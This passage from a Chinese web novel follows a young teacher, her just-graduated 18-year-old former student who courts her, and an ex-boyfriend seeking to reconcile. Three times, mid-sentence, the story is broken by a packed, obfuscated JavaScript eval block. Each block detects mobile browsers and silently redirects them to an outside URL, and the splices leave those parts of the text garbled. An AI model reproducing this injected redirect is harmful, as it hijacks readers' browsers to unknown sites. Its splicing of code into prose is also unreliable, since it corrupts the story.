稿子是学校事先写好的,让他照着念避免出错。 他念着念着看错了行,也只是顿了下,平静道:“不好意思,看串行了,本人近视眼,谅解一下。” 底下都笑,他就安静等着大家笑完,然后把稿子放一边,开始脱稿,反而更加流畅。 蒋一茉想想他那时,又看看他现在,一看就是从小富养出来的孩子,在任何场合都透着一种势在必得的气势。 哪怕路上走着走着突然摔一跤,也能顺便表演个后滚翻,总之绝不让自己陷入窘迫就对了。 真好,这自信要能分她一半,她也不至于讲个公开课紧张得拉肚子,焦虑得刷手机到半夜,看着自己写的教案心里骂都什么垃圾,上讲台两腿打颤,脑子空白…… 蒋一茉的思绪又重新回到话题,说:“有自信是好事,但不要掉以轻心,高考好好发挥。” 纪复白:“你不问我在紧张什么?” 蒋一茉:“不是紧张高考,就是紧张高考完跟人表白的事儿呗。” 蒋一茉一脸“我可是过来人我什么不知道”的表情,笑着看他,又说:“说实话,我也蛮好奇的,你有没有兴趣聊聊那个女孩子是谁?” 纪复白盯着脚下的路,就连垂下的乌黑长睫都透着一点认真思考的意味,沉吟后,转头:“你。” 4. 18岁 蒋一茉眨了眨眼,“我怎么了?” 纪复白:“……………………” 纪复白:“你……脸上有奶油。” 他抬手,拇指轻轻拂过她唇角,动作自然,轻盈而迅速。 蒋一茉赶紧低头翻包,拿出小镜子照了照。 镜子里她那一张脸倒是白白净净,没有什么奶油。 她收起镜子,又继续追问:“到底是谁呀?” 纪复白略微一想,浅浅扬了下嘴角,说:“我们一换一,你告诉我你跟前男友分手的原因,我告诉你她是谁。” 蒋一茉心想我八卦你可以,你想听我八卦,哼哼,没门儿! 她黑着脸道:“算了算了,这么不把我当自己人,我不听了,我听歌。” 她拿出AirPods,两只都戴上。 纪复白抢了一只过来,“这么不把我当自己人,耳机都不给我分一个。” 蒋一茉破功,笑起来。 见她笑,纪复白也跟着笑。 许是天气太热,一路都没什么人,唯有周边别墅群的大窗户里透出点热闹的光。 蒋一茉转念一想,应该不是天气热的缘故,而是这一片的人根本不会坐公交出行,家里院子就够大的,也自然不必在外面瞎溜达。 如果她也住这儿就好了,上车就没人跟她挤了,一整个大公交都是她的。 蒋一茉拿出手机,屏幕上点几下,把耳机里还没放完的歌切成了另一首。 前奏一响,纪复白微微一怔。 分明是专门放给他听的歌——《骄傲的少年》。 在歌里安静走了会儿,少年清冽嗓音又再响起:“我有让你感到骄傲吗?” “有!”蒋一茉毫不犹豫点头。 纪复白悄无声息地松一口气,抿唇浅浅地笑。 看来,没有白努力。 耳机里热血澎湃—— “…… 奔跑吧,骄傲的少年 年轻的心里面,是骄傲的信念 燃烧吧,骄傲的热血 胜利的歌我要再唱一遍。” 少年的心,因这首歌,而备受鼓舞。 一辆公交驶来,蒋一茉注意到的时候,那车已经跟他们并行,随即超过他们往站台开去。 她离站台还有点距离,眼看再不追赶不上了,想也没想,丢下句“我车来了先走一步”握紧包带撒腿就跑。 上了车,她扫了码,想起来什么,借了司机师傅的喇叭,冲到后排靠窗位置上,探出头去,纪复白还没走,正在几米之外望着她。 她举起喇叭:“高——考——加——油!!!” 树上炸出一堆飞鸟,扑腾着翅膀在空中盘旋。 “……”纪复白怔住,眼里因触动而更为闪亮。 其他乘客也都纷纷钻出窗户去看是谁要高考,发现是个身高腿长帅气非凡的少年。 “嚯,小伙子长得这么俊。”有个大妈笑道。 蒋一茉拍拍胸脯,一脸骄傲:“我学生!” 纪复白脸上荡开笑,抬手敲了两下耳机。 歌曲突然暂停,蒋一茉这才反应过来:“我的耳机——” 纪复白再敲两下,歌曲继续放,这时已经不是那首《骄傲的少年》,而是一首《水星记》,正徐徐唱着: “还要多远才能进入你的心,还要多久才能和你接近……” 伴着这句歌词,公交车载着蒋一茉远去,彻底隐入夜的尽头,耳机也断联,安静如初。 纪复白两手抄兜转身往回走,踩着蒋一茉的来时路。 他觉得自己的18岁生日过得还算有意义,虽然中午听他们说蒋一茉在学校门口跟人接吻时,快气炸了。 但,结尾是好的。 - 蒋一茉回到家,妈妈文娟正盘腿坐在沙发上看着电视剧,边嗑瓜子。 见她回来,文娟招手喊道:“快快,你回来得正好,马上就要演到精彩的地方了。” 蒋一茉赶忙丢下包,把自己摔进沙发,结果,进广告了。 蒋一茉:“……” 文娟:“广告真多。” 蒋一茉:“不是让你在视频软件上看嘛,会员都给你充好了。” 文娟:“有时候也想看看电视,有些广告也挺有意思。” 蒋一茉:“别瞎电视购物哦,你上回买那什么招桃花的项链,我戴着出去不是踩狗屎就淋鸟粪……你还笑!” 文娟:“不笑了不笑了哈哈哈哈哈……” 每次听她提起这事儿,文娟都乐得直不起腰。 蒋一茉:“……” 蒋一茉环视一圈自己家,从别人家大别墅回来难免有落差,但这落差也太大了,她家怎么看也就抵纪复白家一个卫生间! 她在心里算账,不吃不喝干一百年有没有可能买一个那样的房子,算完发现——小房子也没什么不好嘛,尿急走两步就坐上马桶了…… 文娟终于止住笑,搂住女儿问道:“今天怎么样?” 蒋一茉:“工作还是什么?” 文娟:“当然是说你那相亲对象,他说你中午让他亲了一下。” 蒋一茉“噌”地坐了起来,且不说这种事有没有必要跟她妈说,他也不该篡改事实吧? “什么叫我让他亲了下,是他不打招呼就亲的,而且还是在我们学校门口,好多学生都看见了,气死我了。”她气呼呼道。 文娟皱眉:“是这么回事?那这么看,这男的真不行,一点也不为你考虑。” 蒋一茉道:“我今晚已经把他给拒了,他如果给你打电话,你也跟他说清楚,最好帮我再骂他一顿。” 文娟说行,“到时候骂死他个臭流氓!” 蒋一茉笑了笑,又想起什么,说:“算了算了,还是别骂了,你不说他是咱们那杂货店的房东给介绍的,别回头再把房东得罪了。” 想想也是,文娟叹了口气:“欸,本来我还挺高兴,以为你这回能定下来了。” “……”蒋一茉看电视,不说话。 文娟:“那我继续给你物色……” “我的母亲大人,”蒋一茉无力地倒在妈妈腿上,蹭过来蹭过去,“歇歇吧,我才24,着什么急?” 她想谈的是看对眼以后天雷勾地火的恋爱,不想谈被按在那儿接受一通背景调查后的走程序式恋爱。 文娟:“你社交圈子窄,除了学校就是家里两点一线,学校里优秀的男老师大部分都已婚,剩余就是些学生,一天混一天,等你到30,你就只能找三十好几甚至四十的男人了,年龄大的男人多半又都是离过婚带个娃的,你说我着不着急?” 蒋一茉笑说:“那就找年龄比我小的呗……” 文娟敲她脑袋,她缩着脖子躲。 文娟说:“你给我打住,找个比你大的,会照顾人的,千万别找你比小的,到时候天天在家里使唤你,就跟那没断奶到处找妈的孩子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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蒋一茉笑笑没说话。 她当时没跟文娟说实话,她并不是因为幼稚和耍小脾气才跟王衍之提的分手,而是不想让他为难,才决定主动走远的。 广告依旧没结束,蒋一茉视线落下,盯着放在茶几上的手机。 分手时把微信都拉黑了,对方肯定也没有在用以前的电话号码。 这样想着,干巴巴盯了会儿,理所当然又转开目光,看回电视上。 这时,手机却突然振动起来,吓人一跳。 关键,还是个陌生号码。 不会吧…… 她咽了口唾沫,想了想,拿了手机起身走回卧室。 她有些期待能听见王衍之的声音,毕竟她就是因为当时校园广播里传出来的他的声音而心动。 同时又抵触真的是王衍之打来的这件事,因为他们旧情复燃的概率很小。 把手机从左手换右手,右手换左手,来回两三轮后,她才接起来:“喂,你好。” 那头略微顿了顿,说:“在等谁的电话?” 纪复白实在过于敏感和观察力惊人,从一点细微的不同里,立马分析出哪里不对,并且一针见血。 蒋一茉愣住,拍了几下额头,这才道:“纪复白?你怎么有我电话?” 5. 要赞 “你以前自己写在黑板上,叫大家有事随时找你,不记得了?”纪复白话里带点笑,对方那语气仿佛他从哪里偷看来的号码一样。 “哦,什么事?”蒋一茉问,“要问什么题吗?” 纪复白:“到家了没?” 蒋一茉:“到了。” 纪复白:“那就好。” 蒋一茉:“没事的话,就挂了吧,你早点休息,这两天吃好睡好,充分备考。” “……”纪复白在那头默了几秒,说:“我很好奇。” 蒋一茉问好奇什么。 纪复白:“是让你等电话的那个人导致你这么心不在焉吗,耳机落在我这儿的事提都不提,还是你不想要了?” 对哦,她还有只耳机在纪复白那儿,蒋一茉又拍额头,说:“等你考完试,有机会我去找你拿。” 电话里一声很轻的叹息,纪复白说:“你忘了吗,考完试那天晚上,全班同学和老师有聚餐,我们到时候不就能见面?” 蒋一茉:“噢,对,那我到时候来找你拿。” 纪复白:“你在等谁的电话,男的女的,那人对你很重要?” 蒋一茉:“……” 蒋一茉:“谁说我在等电话了,我正常接打电话而已,是你的感觉有问题。” 纪复白笑了笑,说:“是吗,好吧,最好是。” 蒋一茉:“挂了挂了。” “加个微信?”趁对方挂电话前,纪复白又说。 蒋一茉道:“以前我叫你加的时候你怎么不加?” 她有时会在微信上找几个班干部,但以前纪复白都让她加班长,让班长传达给他,特高冷,这家伙。 纪复白:“都已经毕业了,加一个吧,以后联系起来也方便。” 蒋一茉:“行,你加吧。” 挂了电话,蒋一茉趴在书桌上,静静想了一会儿以前和王衍之谈恋爱时的那些事。 文娟在外面敲了敲她门:“茉儿,我先去睡了,你虽然这两天放假,也别玩手机玩得太晚,注意点眼睛,早点睡。” 蒋一茉:“知道了,妈。” 蒋一茉点开微信,通过了纪复白的好友申请,然后丢下手机,在iPad上点开一集最近在追的悬疑剧,拿着iPad开门去洗澡。 洗完澡,吹干头发,直到躺在床上,她才又摸来手机,先点进纪复白朋友圈看了看。 纪复白只有一条动态,是首诗: “几乎未能吻别便开始等待 六月的晚风吹清露满腮 几乎未能道破便成了隐谜 被岁月在心底深深掩埋 那一个字说了等于没说 那一个字不说如同说了出来……” 这诗…… 蒋一茉扫一眼书架,下床去抽出一本来,翻了翻,果然,翻到原诗。 她对这诗有印象,是因为半年前她看完书后,在朋友圈分享过一段读后感。 纪复白这条动态是两人刚加上微信那会儿发的,蒋一茉纳闷儿,以他的受欢迎程度,竟然到现在一个点赞也没有吗,第一个赞居然还是来自一个多小时之后的她给点的。 蒋一茉在微信上问秦勤:【怎么不给你最喜欢的学生发的朋友圈点赞?】 秦勤:【?谁啊?】 蒋一茉:【纪复白啊】 过了会儿,秦勤回她:【他发啥了,我怎么没刷出来。】 又丢来一张空白的朋友圈截图。 蒋一茉愣了愣,返回纪复白朋友圈,那首诗分明还在。 “……” 什么意思,仅她可见? 还是忘记屏蔽她了? 这……是首情诗啊…… 蒋一茉反手来了一个取消点赞的动作,心里那股陡然升起的古怪却挥之不去了。 应该是设置的时候点错人了吧? 想想,觉得很有可能,转头刷别的去了。 这时,弹出新微信,纪复白“杀”来了,没说话,只丢来一张表情包—— 纪复白:【线条小狗头上冒大问号】 蒋一茉还在想怎么回复,回复什么合适,对方接连又甩过来几张表情包,全是各种小狗带问号。 她不回,他就继续发,简直是逼问的架势。 蒋一茉看着屏幕上一连串抽象表情包,再一想对面不是别人正是平常一脸高冷的纪复白,瞬间有点风中凌乱,甚至怀疑他是不是被盗号了,赶紧回复道:【手滑,哈哈,不好意思】 纪复白:【手滑点了赞,还是手滑取消赞?】 蒋一茉:…… 啊啊啊这个纪复白真是…… 蒋一茉在床上翻滚两下,坐起来回他:【该记的记了吗,该背的背了吗,不想看书就睡觉,不想睡觉就看书,别玩手机了。】 凭什么他问什么她就得回! 纪复白又丢来一张表情包:【小狗地上打滚】 纪复白:【把赞点回来嘛,好不好?(可怜兮兮)】 蒋一茉:“……” 蒋一茉:这是在……跟她撒娇??? 蒋一茉闭了闭眼,又睁开,恐怖画面还在,于是她回到他朋友圈点了赞。 这之后,纪复白倒是消停了。 她烫手一样退出微信,赶紧刷点搞笑短视频转移注意力。 说实话,她觉得纪复白有点崩人设,他怎么在线上是这个样子啊! - 两天之后,全民关注的高考盛事拉开序幕。 蒋一茉抽空把语文卷做了一遍,感觉比去年难度有所增加,也难怪考完语文后,大家都在群里哀嚎,然而等到后面几科也考完,大家发现嚎早了!相对来说语文还没到变态的程度,于是纷纷在班级群里开玩笑要预约复读名额…… 蒋一茉收到前男友王衍之发来的短信时,高考最后一科刚结束,铃声打响,她也结束了漫长且熬人的监考。 学生们一涌而出,奔向各自的未来。 她则在完成考场撤场工作之后才离开,并把试卷交到考务办公室。 从办公室出来,考点已经没有什么人,她走在安静空旷的学校里,看着那条短信,迟迟没有回复。 王衍之说:【小茉,我是衍之,监考结束了吧,我听见打铃了,晚上我请你吃好吃的,想吃什么?】 能听见打铃,也就是说,在附近。 至于怎么知道的她监考地点,估计是她妈告诉的。 这条短信,在试图忽略分手后的这三年时间,口吻像什么也没发生一样,仿佛两人还是情侣关系。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320796|167476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 可的的确确分手了,当初说得很清楚,他对于必须听从父母安排的为难,也在她面前表现得淋漓尽致。 蒋一茉走出学校,看见很久不见的王衍之正等在车边,如今他一身白衬衣黑西裤,标准的精英商务男。 他家境条件不错,大学时家里就给买了车,如今换了辆黑色宝马5系,就停在路边。 王衍之也看见她,大步走来。 手机在此时振动,来电显示“小白”。 蒋一茉还没来得及接起,王衍之已来到她面前,眼里带笑,抱住了她。 “好久不见,小茉。”他轻声道。 “……”蒋一茉愣住,握着手机有些不知所措。 视线焦点在远处散去,好像有那么一瞬间,真的回到了过去。 难道,还喜欢着么? 蒋一茉在这一刻连自己的心情都理不清,也就更难以发现,从别的考场赶过来,站在路边国槐树下,沉默望着这一幕的纪复白。 她推开前男友。 “都分手好几年了,这是干什么?”她的脸转向一旁,垂着眼眸,眉心微微蹙着。 王衍之逗她:“这个拥抱主要表达作者的思念之情。” 蒋一茉:“……” 王衍之又说:“以前我们经常去的那几个店我都订了位置,你选一个?” 蒋一茉:“我现在换口味了,那几家都不爱吃了。” 她语气有些冷,王衍之听出来,轻声哄道:“上车说吧,外面热。” 蒋一茉今天的发型是随性的低盘发,一天监考下来,难免神色疲累,加上脸侧掉落的几缕碎发,整个人看起来清纯又带点惹人疼惜的破碎感。 王衍之捏起她耳边一缕头发,想给她别到耳后,手臂被挡开。 他顿了顿,叹气道:“有时间我们可以慢慢理论当时到底谁的问题,但现在你先跟我上车,文阿姨也在车上,肯定正看着我们,你给我个面子。” 蒋一茉倏地抬眸:“你叫我妈干什么?” “几年不见,想约阿姨也一起吃个饭,阿姨以前不是也经常给我做好吃的?你不要反应这么大,好像我拿阿姨威胁你一样。”王衍之笑说。 蒋一茉想了想,只好先跟他上车,不顾他让她坐副驾的提议,径直坐进后排。 她一上车就嗔了妈妈一眼,文娟抿嘴笑着,拍拍她手。 那意思在说:成熟点,给人家个机会。 文娟不知道蒋一茉和王衍之分手的真实原因,因为蒋一茉有意隐瞒。 她觉得自己被他家人嫌弃配不上他就够了,不想再让妈妈也跟着受伤。 这大概是他们之间无法跨过去的最深的一道坎。 王衍之明明清楚,突然回来又做这种举动什么意思呢? “小茉,想好去哪里吃了吗?”王衍之问。 “随便,你定吧。”蒋一茉监考一天实在有些累了,头靠窗,目光投向街边。 车子启动离开,视野里,一抹熟悉的身影一晃而过,夕阳下,少年白T黑裤,高挑挺拔,惹人注目。 只是那张脸,格外阴沉冷峻。 蒋一茉想起来刚刚他给自己来过电话,她没接到,此刻拿出手机回拨过去。 通了两声,那头给她挂断了。 6. 姐姐 王衍之选的饭店是以前上大学那会儿,和蒋一茉经常去的一家粤菜馆。 下车后,王衍之对蒋一茉笑道:“小茉应该知道我为什么选这家吧?” 蒋一茉抬头看眼饭店招牌,没给反应。 王衍之也不在意,转头跟文娟解释道:“阿姨,我跟小茉当初就是在这家店吃饭时,确定的男女朋友关系,当时她给我表的白,今天,我俩的角色可能得转换一下了。” 蒋一茉不满地看他一眼,心说都过去多久的事了,有什么可说的。 包间里点完菜,蒋一茉借口上厕所,顺便把单买了。 她不想花王衍之的钱,尤其是在被他们家人看不起之后。 回到包间,蒋一茉全程不怎么讲话,都是文娟在和王衍之交流。 其实文娟对王衍之并不是特别熟,以前对方也只来过家里一两次,其他时候她都是听蒋一茉提起。 但她这女儿今天偏又不肯多寒暄,为了不冷场,她只好一个劲儿找话题。 文娟最关心的,还是王衍之这回回来是打算一直留在国内,还是过不久又要回洛杉矶。 王衍之没有直接说留还是不留,他向来说话喜欢留有余地,有可变通的空间。 他说留下有留下的好处,国外也有国外发展的好处,还在和父母商量当中。 “当然,”他最后又说,“这回还会考虑小茉的意见,就算和父母谈不拢,两人先暂时异地恋也可以,总能想到解决办法。” “之前答应分手,实在草率,当时人在气头上,冲动了。”他叹气道。 文娟说:“这意思是,如果你俩复合,大概率还是会先异地恋一阵子,毕竟你在车上也说,在国外的工作已经有点起色。” 王衍之说:“成家立业,我还是想先把事业立起来,这样也是对小茉负责。我在国内的创业也正在起步,做得好的话,自然还是会把目光放在国内,到时候父母也不会太反对。只是在这之前,大概率要两头跑。” 蒋一茉低头喝汤,听见什么“先把事业立起来”“到时候”“暂时”这类的话,心下几分冷笑几分苦涩。 不过有这些词汇已经算好的了,大学毕业前夕,他连这些话都没有,虽然句句不说“分手”两个字,却句句都有分手的意思。 他总觉得自己是个体面人,所以也爱给别人留体面。 蒋一茉又是个极有自知之明的人,没有纠缠,当初听明白对方的言下之意后,把“分手”提到了台面上来讲,对方没有一丝挽留。 如今跑来说当时是“草率”“冲动”,蒋一茉也不知道该信不该信了。 “这三年,你又谈过吗?”她突然间问。 对方刚想回答,她又强调:“我要听实话。” 王衍之:“谈过。” 蒋一茉:“几个?” “……2个。”王衍之眼里略微有些心虚。 “嗯。” 蒋一茉没说别的,继续低头吃饭。 “你肯定也谈过别人了,但我听阿姨说你现在单身,所以我想我应该还有机会?”王衍之说。 “茉儿这三年没谈过恋爱,只是相过几回亲,不过都没看对眼。”文娟替女儿解释道。 王衍之一愣,以为对方是因为自己才没认真找,欣慰道:“小茉,跟我复合吧,我这次肯定会更加考虑你的感受。” 蒋一茉心道,原来你也知道以前没考虑过我的感受,以前没有坚定地选择过我,以前也觉得我不是能和你走到最后的人。 只不过,后来有了其他女生做对比,忽然发现我好像还算合适,又跑来吃回头草,对吗? 房间里陷入一片寂静,蒋一茉怔了怔,直到文娟握住她手,才反应过来,竟把心里话一口气全说出来了。 王衍之垂头沉默了会儿,又才看向对面道:“你知道的,我跟你在一起的时候,我也没怎么谈过恋爱,你总要给我机会成长,给我时间反省吧,一次就给人判死刑,何必呢,大家都是成年人,又不是小孩子。” 说完,紧接又道:“我知道,你当了几年中学老师,都在学校跟学生打交道,所以看事情还是那么单纯,非黑即白的。但是成年人世界不是这样的,大家都是彼此包容,彼此给机会,我犯的也不是什么原则性错误,何必揪着不放?” 文娟拍了拍王衍之的肩,示意他先别再说了。 “我去趟洗手间,阿姨。” 王衍之看眼蒋一茉,叹口气,离开包间。 文娟握了握蒋一茉的手,说:“他肯回来找你,是带着一些诚意的。今天之前,他给我打过好几次电话,我才同意让他找你来谈复合。刚他说的那些话也不是没有道理,你有时候考虑事情确实过于理想化。妈妈不是说你这样有问题,只是你会很累。” “你诚实的告诉我,你还喜欢他吗?”文娟道,“如果十分满分,你对他的喜欢还有几分?” 蒋一茉沉默良久,一直没给出答案。 如果不喜欢,听到他又谈过两个,心里为什么会有一丝不爽? 如果喜欢,为什么又听不进他所谓有道理的这些话,觉得那样刺耳? 这之后,等王衍之回来,三人都只是平静吃饭,文娟把话题唠到家常上去,不再提那些。 吃完饭,王衍之要送她们回家,蒋一茉的手机在这时突然振动,显示秦勤来电。 “勤勤,怎么了?”她走到一边接起来。 “秦老师喝醉了,你知道她家在哪儿吗?” “……”听见对面声音,蒋一茉一愣。 蒋一茉:“纪复白?怎么是你?” “今晚聚餐,吃到最后,老师那桌除了秦老师,只剩下一堆男老师,唐老师就让我送秦老师回去,说我送,比那些男老师送更安全。” 纪复白的语气有几分无奈。 蒋一茉唇角抿了抿,问他在哪儿。 对面报完地址,她立刻说你等着,我马上打车过来。 挂了电话,蒋一茉拜托王衍之先送她妈妈回去,说自己要去找一个同事。 王衍之没说什么,也想给她空间去思考自己那些话,于是载着文娟先离开。 走之前,他还想抱抱她,谁知对方一个后撤步,他挑了挑眉,算了。 蒋一茉拦了辆出租车,等开到位置后,只见纪复白搀着秦勤等在路边。 秦勤扶着电线杆对准垃圾桶呕吐,少年则一手搀扶她,一手递纸,不时拍拍她背。 蒋一茉让司机师傅等一下,过去扶起秦勤另一只手,和纪复白合力将人弄上车。 她顺势坐上去,见纪复白拉开副驾驶的门也坐了进来。 “你回去吧,太晚家里大人会着急的。”她说。 “18岁的男生有什么可担心的。”纪复白淡淡道,“再说你一个人也搞不定她,不送你们两个到家,我也不放心,走吧师傅。” 司机师傅按蒋一茉给的地址重新出发。 要到地方时,她正准备付钱,听到师傅微信到账的提示音——被人抢先了一步。 纪复白揣好手机,等车一挺稳,立刻开门下车,把秦勤搀扶出来后,直接打横抱起来。 蒋一茉看秦勤醉的双脚发软,直立都困难,突然庆幸纪复白跟过来。 她才一米六,而秦勤一米七,自然还是一米九的纪复白处理起那瘫软的醉鬼更游刃有余,轻松抱着,两条长腿大步流星地走,一点也不吃力。 蒋一茉从秦勤包里摸钥匙开门,让纪复白把人放到卧室床上去,又帮秦勤脱掉鞋,最后再倒杯水放到床头。 见秦勤今天化妆了,她又去卫生间找来一包卸妆巾,拿过来给她卸妆。 纪复白立在一旁,两手插兜,偏着脑袋看,过了会儿,问:“你是在帮她洗脸吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320797|167476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 少年平时在学校哪科都拔尖,哪科都难不倒他,没想到也有这么懵懂的时候,带点迷糊的语气听着格外可爱。 蒋一茉看他一眼,扬唇笑:“我在给她卸妆,没见过女孩儿卸妆?” “见过我妈卸妆,不过我看她都是挤一点什么东西在手里,然后上脸搓。”纪复白说。 “那应该是卸妆油或卸妆膏,这是卸妆巾,都是卸妆用的产品,只不过操作手法不同。”蒋一茉解释。 “那你喜欢用什么卸妆?”纪复白问。 “我用卸妆油,出去旅游的时候才会带卸妆巾,方便。”蒋一茉说。 纪复白略想了一想,问:“你喜欢用什么牌子卸妆油?” 蒋一茉:“以前用BobbiBrown,卸得蛮干净的,但我嫌它乳化太麻烦,最近换了一瓶不用乳化的,叫……” 顿住,她抬眼看纪复白,笑了起来:“好奇怪,我为什么会跟你聊这个,你又用不着。” 看她笑,纪复白也笑,又说:“可我看你平常不怎么化妆。” 蒋一茉说:“我家离市区太远,经常五点就得起来去赶公交,为了多睡几分钟,只能牺牲化妆时间了。” 纪复白的目光在她脸上贪婪地流转:“可我觉得,你素颜,比化妆更好看。” 蒋一茉:“……” 蒋一茉:“知道啦,我也清楚我化妆水平不咋地。” 纪复白微地一怔,乐道:“我是这个意思吗?” 蒋一茉:“那还能是什么意思?” 纪复白:“……” 秦勤租的房子是一室一厅,自己住,没别人。 此刻卧室内格外安静,两盏壁灯铺洒一室暖黄,两人你一言我一语轻声闲聊,给氛围平添几分温馨。 灯下,蒋一茉的侧脸显得比平常更为柔软,且恰到好处的饱满。 纪复白抬起一只手,将掉下的碎发给她别到耳后,又顺着耳后摸到下颌,捧住脸,拇指轻轻摩挲。 蒋一茉动作一顿。 纪复白察觉,不管,依然摸得十分投入,手掌摸摸,手背蹭蹭,手指捏捏,还说:“你脸真小,也就我巴掌大。” 蒋一茉不敢置信地看着他,眼睛眨了又眨,仿佛站在自己面前的不是纪复白:“你在干什么?” 纪复白:“用实际行动告诉你,我是什么意思。” 蒋一茉:“……” 蒋一茉心跳要冲破180了,偏头躲开他手,稳住情绪继续给秦勤擦脸:“我看你也喝醉了,老实点儿。” 别慌别慌。 蒋一茉告诉自己,他身上酒味也重,肯定也喝了不少,就当是开了个玩笑。 纪复白恋恋不舍收回手,怕惹恼了她,以后再也摸不着。 这时,秦勤不知道是梦到什么还是怎么回事,突然扁嘴哭起来,双手握住蒋一茉给她卸妆那只手。 “一茉,李清辉要结婚了,他晚上说他要结婚了……” 听到这个名字,纪复白眉头一挑。 他们1班数学老师正是这位李清辉老师。 “看来,不老实的不只是我。”他耸了耸肩。 蒋一茉瞪他一眼:“我警告你,别到处讲给别人听。” “我能说给谁听,我都毕业了,小蒋老师,”纪复白道,“不对,现在不用叫你老师了,以后永远都不用再叫了,该叫你什么好?” “……”蒋一茉没理会。 “蒋一茉?”他观察她表情。 “能不能有点礼貌?”蒋一茉气道,“一毕业就直呼我大名,你可太尊重人了。” 纪复白被阴阳数落一句,反倒唇一勾,弯下腰,凑到对方耳边,垂眸盯着她的小珍珠耳钉:“姐姐?” 他见她呼吸很明显地停了一瞬,偏头故意去找她躲闪的眼睛,莞尔道:“喜欢我这么叫你吗,姐姐。” 7. 真心 蒋一茉:“……” 蒋一茉稳住心态,把用完的卸妆巾丢进垃圾桶,看也不看他,起身道:“走了。” 纪复白笑一笑,迈步跟上。 “我送你回去。”他在电梯里说。 “不用,你真的快回去吧,太晚了。”蒋一茉又看眼时间。 纪复白耸耸肩:“再晚也无所谓,反正回去也没人。” 蒋一茉转头看他,惊讶道:“这两天高考,你父母没有在家陪你吗?” 她以前倒是听唐老头念叨过一两句,说纪复白父母平时挺忙的,但也不至于忙到这个份儿上。 “高考的又不止我一个,人家亲生女儿也高考,在上海,要是你,你陪哪个?” 纪复白语气轻松平常,带点笑。 蒋一茉:“……” 信息量有点大,电梯门开,蒋一茉还愣着。 纪复白走出去,见她没跟上又返回,抓起手腕将人带出来,笑道:“至于这么震惊吗?” 蒋一茉:“你不是他们亲生的?” 蒋一茉回忆前两天的家访,感觉纪复白和他“养父”眉眼神似,所以意外怎么会不是亲生的。 纪复白:“我8岁那年父母去世之后,爷爷把我过继给大伯,之后我就改口叫他们爸妈。现在住的房子是我爷爷留给我的,大伯他们定居在上海,我一直跟爷爷生活。初一那年,爷爷去世,他们想让我跟他们去上海,我不愿意,所以他们偶尔过来这边看我。” 至于为什么不愿意走,当然是因为同年知道蒋一茉来这边上大学了。 于是他便盼望着,能和她在这座干燥的城重逢。 当时并没想过会喜欢上朋友的姐姐这回事,只是希望有机会再见一面。 也许真是念念不忘必有回响。 高二下学期开学,他们原本的语文老师休完产假本应该回来任教,却因身体不好选择和丈夫出国养病,突如其来的消息打了学校一个措手不及。 蒋一茉的资历本不应该有资格带他们班,却在那时成了唯一合适的人选,被临时安排到他们班上。 看着走进教室的新语文老师在黑板上写下名字,纪复白当时“唰”地一下站了起来,把蒋一茉吓了一跳。 不过想来蒋一茉应该不记得这些细节,但他记得他们重逢时的每一句话—— “同学,有什么事吗?” “……去趟厕所。” “嗯,好,去吧。” “……” 非常平平无奇的重逢和略显突兀的对话,纪复白却感觉能记一辈子。 同时,他也发现,这个好朋友的亲姐姐已经不记得自己。 她竟然把他忘了,而且忘得很干净。 抬头望望夜空,纪复白忽然道:“说起来,爸妈他们提过的要求,我好像都没听过。” 让他去上海跟他们一起生活,不去。 让他出国,也不去。 “我是不是挺不懂事?”他问蒋一茉。 他右手还握着她纤细手腕,掌心牢牢贴紧她脉搏,趁对方注意力暂时没转到这儿,拇指一直抚摸她手背,有点窃喜和满足。 “你已经做的很好了。”蒋一茉说。 她以为纪复白是在一个圆满但严苛的家庭环境下才成长得如此优秀,自律,成熟,沉稳。 挺拔得像颗树一样。 谁知,他大部分时间竟都是一个人生活,自己和自己对话。 也许正是因为孤独,所以他擅长忍耐。 “要不,今晚换我送你回家?” 这一刻,蒋一茉心中,长辈对晚辈的爱护和怜悯之心有些泛滥。 纪复白听出来,笑了笑,揶揄道:“然后呢,会留下来再给我冲一瓶奶粉,陪我看故事书,哄我睡觉吗?” 蒋一茉:“……” “车来了。”纪复白说。 蒋一茉都不知道他什么时候打的车,既然他已经打上,也就跟着坐上去。 上车后,她把这两趟车钱都转给对方,又叫他务必要收下。 “你现在也不挣钱,怎么能花你的呢,以后都我来付,知道吗?”她说。 “以后?”纪复白扬唇懒懒地笑,“原来姐姐已经开始设想我们以后的生活了。” 蒋一茉:“少贫,赶紧把钱收了,算了,我转你支付宝,输你手机号就行吧?” 纪复白按住她手道:“我一个月生活费比你工资还高,不用操心,至于是不是我挣的,反正都是我爷爷留给我的,你要是花起来有负担,等我以后挣了钱我再填回去,想让我花你钱,不可能。” 蒋一茉:“为什么不愿意花我钱?” 纪复白挪过去,抬手勾过她后脖颈,头低下,唇抵在耳畔,热息裹着浓重酒气,嗓音比平常暗哑几分:“男人要面子呗,姐姐,这都不懂?” 蒋一茉:“……” 